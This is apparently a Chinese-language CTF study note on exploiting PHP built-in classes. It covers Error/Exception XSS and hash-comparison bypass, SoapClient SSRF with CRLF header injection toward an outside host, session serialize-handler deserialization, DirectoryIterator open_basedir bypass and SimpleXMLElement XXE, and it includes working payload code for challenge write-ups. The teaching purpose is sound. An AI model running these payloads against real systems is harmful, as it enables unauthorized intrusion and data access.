php原生类 1.php原生类 php为了解决一些常见的问题,存在一些基本的类提供给我们可以去使用(SPL),这是用于解决典型问题(standard problems)
的一组接口与类的集合。
列出所有的内置类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $classes = get_declared_classes ();foreach ($classes as $class ) { $methods = get_class_methods ($class ); foreach ($methods as $method ) { if (in_array ($method , array ( '__destruct' , '__toString' , '__wakeup' , '__call' , '__callStatic' , '__get' , '__set' , '__isset' , '__unset' , '__invoke' , '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n" ; } } }
得到很多的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 Exception ::__wakeup Exception ::__toString ErrorException ::__wakeup ErrorException ::__toString Error ::__wakeup Error ::__toString CompileError ::__wakeup CompileError ::__toString ParseError ::__wakeup ParseError ::__toString TypeError ::__wakeup TypeError ::__toString ArgumentCountError ::__wakeup ArgumentCountError ::__toString ValueError ::__wakeup ValueError ::__toString ArithmeticError ::__wakeup ArithmeticError ::__toString DivisionByZeroError ::__wakeup DivisionByZeroError ::__toString UnhandledMatchError ::__wakeup UnhandledMatchError ::__toString ClosedGeneratorException ::__wakeup ClosedGeneratorException ::__toString FiberError ::__wakeup FiberError ::__toString DateTime ::__wakeup DateTime ::__set_state DateTimeImmutable ::__wakeup DateTimeImmutable ::__set_state DateTimeZone ::__wakeup DateTimeZone ::__set_state DateInterval ::__wakeup DateInterval ::__set_state DatePeriod ::__wakeup DatePeriod ::__set_state JsonException ::__wakeup JsonException ::__toString LogicException ::__wakeup LogicException ::__toString BadFunctionCallException ::__wakeup BadFunctionCallException ::__toString BadMethodCallException ::__wakeup BadMethodCallException ::__toString DomainException ::__wakeup DomainException ::__toString InvalidArgumentException ::__wakeup InvalidArgumentException ::__toString LengthException ::__wakeup LengthException ::__toString OutOfRangeException ::__wakeup OutOfRangeException ::__toString RuntimeException ::__wakeup RuntimeException ::__toString OutOfBoundsException ::__wakeup OutOfBoundsException ::__toString OverflowException ::__wakeup OverflowException ::__toString RangeException ::__wakeup RangeException ::__toString UnderflowException ::__wakeup UnderflowException ::__toString UnexpectedValueException ::__wakeup UnexpectedValueException ::__toString CachingIterator ::__toString RecursiveCachingIterator ::__toString SplFileInfo ::__toString DirectoryIterator ::__toString FilesystemIterator ::__toString RecursiveDirectoryIterator ::__toString GlobIterator ::__toString SplFileObject ::__toString SplTempFileObject ::__toString SplFixedArray ::__wakeup Random\RandomError ::__wakeup Random\RandomError ::__toString Random\BrokenRandomEngineError ::__wakeup Random\BrokenRandomEngineError ::__toString Random\RandomException ::__wakeup Random\RandomException ::__toString ReflectionException ::__wakeup ReflectionException ::__toString ReflectionFunctionAbstract ::__toString ReflectionFunction ::__toString ReflectionParameter ::__toString ReflectionType ::__toString ReflectionNamedType ::__toString ReflectionUnionType ::__toString ReflectionIntersectionType ::__toString ReflectionMethod ::__toString ReflectionClass ::__toString ReflectionObject ::__toString ReflectionProperty ::__toString ReflectionClassConstant ::__toString ReflectionExtension ::__toString ReflectionZendExtension ::__toString ReflectionAttribute ::__toString ReflectionEnum ::__toString ReflectionEnumUnitCase ::__toString ReflectionEnumBackedCase ::__toString AssertionError ::__wakeup AssertionError ::__toString PhpToken ::__toString DOMException ::__wakeup DOMException ::__toString PDOException ::__wakeup PDOException ::__toString PharException ::__wakeup PharException ::__toString Phar ::__destruct Phar ::__toString PharData ::__destruct PharData ::__toString PharFileInfo ::__destruct PharFileInfo ::__toString SimpleXMLElement ::__toString SimpleXMLIterator ::__toString
学习常见的各种类,包括
1 2 3 4 5 Error Exception SoapClient DirectoryIterator SimpleXMLElement
记录一些利用思路
2.使用 Error/Exception 内置类进行 XSS 适用于php7版本 在开启报错的情况下
1.error类 我们分析error的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class Error implements Stringable , Throwable { protected $code ; protected $file = "" ; protected $line ; protected $message = "" ; private $previous = null ; private $string = "" ; private $trace = []; final function getCode ( ): int { } final function getFile ( ): string { } final function getLine ( ): int { } final function getMessage ( ): string { } final function getPrevious ( ): Throwable |null { } final function getTrace ( ): array { } final function getTraceAsString ( ): string { } private function __clone ( ): void { } function __construct ($message = "" , $code = 0 , $previous = null ) { } function __toString ( ): string { } }
可以看到这里存在一个tostring方法,显然当对象作为字符串输出或者比较的时候,就会触发这里的tostring函数
1 2 3 4 5 <?php $a = new Error ("<script>alert('xss')</script>" );$b = serialize ($a );echo $b ;?>
如果直接使用反序列化,这里可以造成xss
显然是直接被合并到网页上解析了,造成了这里弹窗
2.exception类 适用于php5、7版本,同时开启报错
1 2 3 4 5 <?php $a = new Exception ("<script>alert('xss2')</script>" );$b = serialize ($a );echo urlencode ($b ); ?>
我们查看exception类的属性
发现和error类类似,由于内部的函数大部分被封装无法看到,这里猜测出现问题的是同一个函数
3.Error/Exception 内置类绕过哈希比较 error类是所有php内部错误类的基类 从php7开始被引入
exception类是所有异常的类,从php5开始被引入
这两个都存在__tostring方法
触发tostring方法
1 2 3 4 <?php $a = new Error ("payload" ,1 );echo $a ;?>
假设有以下函数
1 2 3 4 5 6 7 8 9 10 11 <?php $a = new Error ("payload" ,1 );$b = new Error ("payload" ,2 );echo $a ;echo $b ;if ($a != $b ){ echo "a!=b" ; } echo "\n" ;var_dump (md5 ($a )===md5 ($b ));?>
如果这样写
1 2 3 4 5 6 7 8 9 10 11 12 <?php $a = new Error ("payload" ,1 );$b = new Error ("payload" ,2 );echo $a ;echo $b ;if ($a != $b ){ echo "a!=b" ; } echo "\n" ;var_dump (md5 ($a )===md5 ($b ));?>
__toString 返回的数据包含当前行号,所以返回相同的错误方法
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
这里遇到就可以绕过hash
举个例子
[2020 极客大挑战]Greatphp 上来给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } ?>
payload
1 2 3 4 5 6 7 8 9 10 11 <?php class SYCLOVER { public $syc ; public $lover ; } $payload =new *SYCLOVER*(); $str = "?><?=include~" .urldecode ("%D0%99%93%9E%98" )."?>" ; $payload ->lover=new *Error *($str ,2 );$payload ->syc=new *Error *($str ,1 );$a =serialize ($payload );echo urlencode ($a );?>
尝试md5和sha的时候会触发tostring,达到相同的效果,从而达到绕过
4.使用 SoapClient 类进行 SSRF PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端
我们观察类内部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 SoapClient { public __construct ( string |null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string |null public __getCookies ( ) : array public __getFunctions ( ) : array |null public __getLastRequest ( ) : string |null public __getLastRequestHeaders ( ) : string |null public __getLastResponse ( ) : string |null public __getLastResponseHeaders ( ) : string |null public __getTypes ( ) : array |null public __setCookie ( string $name , string |null $value = null ) : void public __setLocation ( string $location = "" ) : string |null public __setSoapHeaders ( SoapHeader|array |null $headers = null ) : bool public __soapCall ( string $name , array $args , array |null $options = null , SoapHeader|array |null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
如果前面设置成null,后边设置成target_url,就可以造成ssrf
1 2 3 4 5 6 7 <?php $a = new SoapClient (null ,array ('location' =>'http://47.120.0.245:3232/' , 'uri' =>'ssrf' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
如果这里存在CRLF的漏洞,通过恶意的换行可以注入恶意的cookies和html代码
就可以注入一些恶意的语句
1 2 3 4 5 6 7 8 <?php $target = 'http://requestbin.net/r/doe3ps5d' ;$a = new SoapClient (null ,array ('location' => $target , 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4" , 'uri' => 'test' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。
[LCTF 2018]bestphp’s revenge 上来给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );$b = 'implode' ;call_user_func ($_GET ['f' ], $_POST );session_start ();if (isset ($_GET ['name' ])) { $_SESSION ['name' ] = $_GET ['name' ]; } var_dump ($_SESSION );$a = array (reset ($_SESSION ), 'welcome_to_the_lctf2018' );call_user_func ($b , $a );?>
扫描出flag.php
告诉我们只有用127.0.0.1去输出flag,添加到session上面
这里需要session反序列化的知识
显然这里需要写入恶意的序列化的值
php session反序列化 session是会话控制,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie
),如果发现请求的Cookies
、Get
、Pos
t中不存在session id
,PHP 就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存。
注册一个session
1 2 3 4 5 6 <?php session_start ();if (!isset ($_SESSION ['username' ])) { $_SESSION ['username' ] = 'AsaL1n' ; } ?>
可以看到生成了一个session
然后将session储存到对话控制中去
以下是一些简单的session设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 session.gc_divisor php session垃圾回收机制相关配置 session.sid_bits_per_character 指定编码的会话ID字符中的位数 session.save_path="" 该配置主要设置session的存储路径 session.save_handler="" 该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.use_strict_mode 严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID session.use_cookies 指定是否在客户端用 cookie 来存放会话 ID,默认启用 session.cookie_secure 指定是否仅通过安全连接发送 cookie,默认关闭 session.use_only_cookies 指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击 session.name 指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID session.auto_start 指定会话模块是否在请求开始时启动一个会话,默认值为 0 ,不启动 session.cookie_lifetime 指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0 session.cookie_path 指定要设置会话cookie 的路径,默认为 / session.cookie_domain 指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名 session.cookie_httponly 将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用 session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述 session.gc_probability 该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率 session.gc_divisor 该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率 session.gc_maxlifetim 指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor) session.referer_check 包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串 session.cache_limiter 指定会话页面所使用的缓冲控制方法(none/nocache/private /private_no_expire/public )。默认为 nocache session.cache_expire 以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180 session.use_trans_sid 指定是否启用透明 SID 支持。默认禁用 session.sid_length 配置会话ID字符串的长度。 会话ID的长度可以在22 到256 之间。默认值为32 。 session.trans_sid_tags 指定启用透明sid支持时重写哪些HTML标签以包括会话ID session.trans_sid_hosts 指定启用透明sid支持时重写的主机,以包括会话ID session.sid_bits_per_character 配置编码的会话ID字符中的位数 session.upload_progress.enabled 启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。 session.upload_progress.cleanup 读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用 session.upload_progress.prefix 配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_ session.upload_progress.name $ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS session.upload_progress.freq 定义应该多长时间更新一次上传进度信息 session.upload_progress.min_freq 更新之间的最小延迟 session.lazy_write 配置会话数据在更改时是否被重写,默认启用
session在停止加载之后会储存到文件里面,文件的名字由sessionid决定
存储机制是由session.serialize_handler
来决定的
文件的内容是序列化之后的内容
一般情况之下存在三种不同的引擎
php处理引擎
储存的方式
php
键名 + 竖线 + 经过serialize()
函数序列化处理的值
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()
函数序列化处理的值
php_serialize(php版本大于5.5.4)
经过serialize()函数序列化处理的数组 直接使用 serialize/unserialize
函数,并且不会有php
和 php_binary
所具有的限制。 使用较旧的序列化处理器导致$_SESSION
的索引既不能是数字也不能包含特殊字符(`
php处理器 当输入
1 2 3 4 5 6 7 8 <?php session_start ();ini_set ('session.serialize_handler' ,'php' ); $_SESSION ['username' ] = 'AsaL1n' ; var_dump ($_SESSION ); $session_id = session_id (); echo $session_id ; ?>
序列化的结果是
session|s:6:”AsaL1n”;
前面是键名,后面是传参的值的序列化
php_binary处理器 1 2 3 4 5 6 7 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['sessionsessionsessionsessionsession' ] = $_GET ['session' ];?>
php_serialize 处理器 最后就是session.serialize_handler
可以看到将输入的值变成序列化的结果
问题原因 如果php和php_serialize两个处理器混合使用,就会产生问题
现在存在两个文件
1 2 3 4 5 6 7 <?php error_reporting (0 );highlight_file (__FILE__ );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?>
这里产生一个session,里面的值由get传入的那个值作为session的产生
然后存在另一个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 ); ini_set ('session.serialize_handler' ,'php' ); session_start (); highlight_file (__FILE__ ); class AsaL1n { public $name = 'emo' ; function __wakeup ( ) { echo "__wakeup" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new AsaL1n (); ?>
可以看到,上面生成session用的是php_serialize函数,但是下面解析的时候用的是php函数
这里存在问题
第一步里,假设我们输入的是
|O:6:”AsaL1n”:1:{s:4:”name”;s:5:”happy”;}
这里他生成的session文件是这样的
a:1:{s:7:”session”;s:44:”|O:6:”AsaL1n”:1:{s:4:”name”;s:5:”happy”;}”;}
但是php处理的时候,会把|前面的当作键值,后面的当作序列化的值,所以在解的时候
会把session的值进行一次反序列化,于是就造成了反序列化漏洞
正常情况下这里只会直接被销毁,不会出现wakeup方法
在[LCTF 2018]bestphp’s revenge那题里面,我们使用 call_user_func函数设置了两次的解析引擎
这样就完成了恶意数据的注入
5.使用DirectoryIterator 类绕过 open_basedir 1 2 3 open_basedir函数 open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。 如果把flag添加到这个函数里面,那就不能直接使用flag函数
DirectoryIterator 类提供了一个文件的接口,在php5里面增加的这个类
这个类可以使用golb://协议,无视open_basedir对目录的限制,可以起到ls的作用
代码
1 2 3 4 5 6 7 8 <?php $dir = $_GET ['114' ];highlight_file (__FILE__ );$a = new DirectoryIterator ($dir );foreach ($a as $f ){ echo ($f ->__toString ().'<br>' ); } ?>
可以看到已经执行了根目录下的文件
也可以使用FilesystemIterator类
可以看到,也能输出
看到也可以输出
但是只能输出根目录和指定的目录文件,不能读取文件的内容
6使用 SimpleXMLElement 类进行 XXE 这个内置类可以解析xml文档里面的元素
1 2 3 4 5 6 7 final function __construct ( $data , $options = 0 , $dataIsURL = false , $namespaceOrPrefix = "" , $isPrefix = false )
这里可以看到如果设置dataurl的为true的时候,就可以载入远程的xml数据
第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
第二的参数设置成2就可以了